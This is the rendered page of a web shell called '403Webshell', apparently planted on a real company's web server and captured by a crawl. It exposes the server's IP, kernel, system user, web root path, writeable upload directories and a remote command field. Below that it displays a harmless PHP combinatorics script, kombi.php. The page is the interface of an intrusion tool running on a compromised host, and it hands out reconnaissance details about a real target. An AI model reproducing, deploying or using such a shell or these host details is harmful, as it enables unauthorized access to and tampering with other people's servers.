403Webshell
Server IP : 185.86.4.75  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux lotom.com.tr 3.10.0-1160.81.1.el7.x86_64 #1 SMP Fri Dec 16 17:29:43 UTC 2022 x86_64
User : lotomcom ( 10006)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/lotom.com.tr/httpdocs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/lotom.com.tr/httpdocs/kombi.php
<?php

$a=combination(28, 10);
$b=combination(15,10);
$a=$a/$b;
$a=number_format($a, 0, ',', '.');
echo $a;

//Kombinasyon hesabı --- kullanışı ----    combination(49, 6)
function combination($n, $r)
{
    if (($n != '1') && ($r == '1'))
        return $n;
    if ($n == $r)
        return '1';
    if (($n != '1') && ($n == '0'))
        return '1';
    $combination = factorial($n) / (factorial($r) * factorial($n - $r));
    return $combination;
}

function factorial($n)
{
    $f = 1;
    for ($i = $n; $i >= 1; --$i)
        $f *= $i;
    return $f;
}

//Kombinasyon hesabı sonu
?>

Youez - 2016 - github.com/yon3zu
LinuXploit